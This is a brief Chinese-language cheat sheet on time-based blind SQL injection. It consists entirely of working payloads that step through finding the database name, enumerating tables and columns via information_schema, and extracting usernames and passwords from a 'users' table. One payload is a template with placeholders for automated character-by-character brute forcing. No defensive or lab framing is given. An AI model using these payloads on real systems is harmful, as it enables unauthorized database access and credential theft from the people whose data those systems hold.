sql延时盲注

1.爆库
1' and if(length(database())=1,sleep(2),0)--+    

2.爆表
1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),1,1)="g",sleep(5),0)--+     

1' and if(substring((select group_concat(table_name) from information_schema.tables where table_schema =database()),{a},1)='{b}',sleep({time_limit}),0)--+"

3.爆字段
1' and if(substring((select group_concat(column_name) from information_schema.columns where table_name='users'),1,1)='g',sleep(5),0)--+

4.爆数据
1' and if(substring((select group_concat(user,password) from users), 1, 1) = 'g', sleep(5), 0)#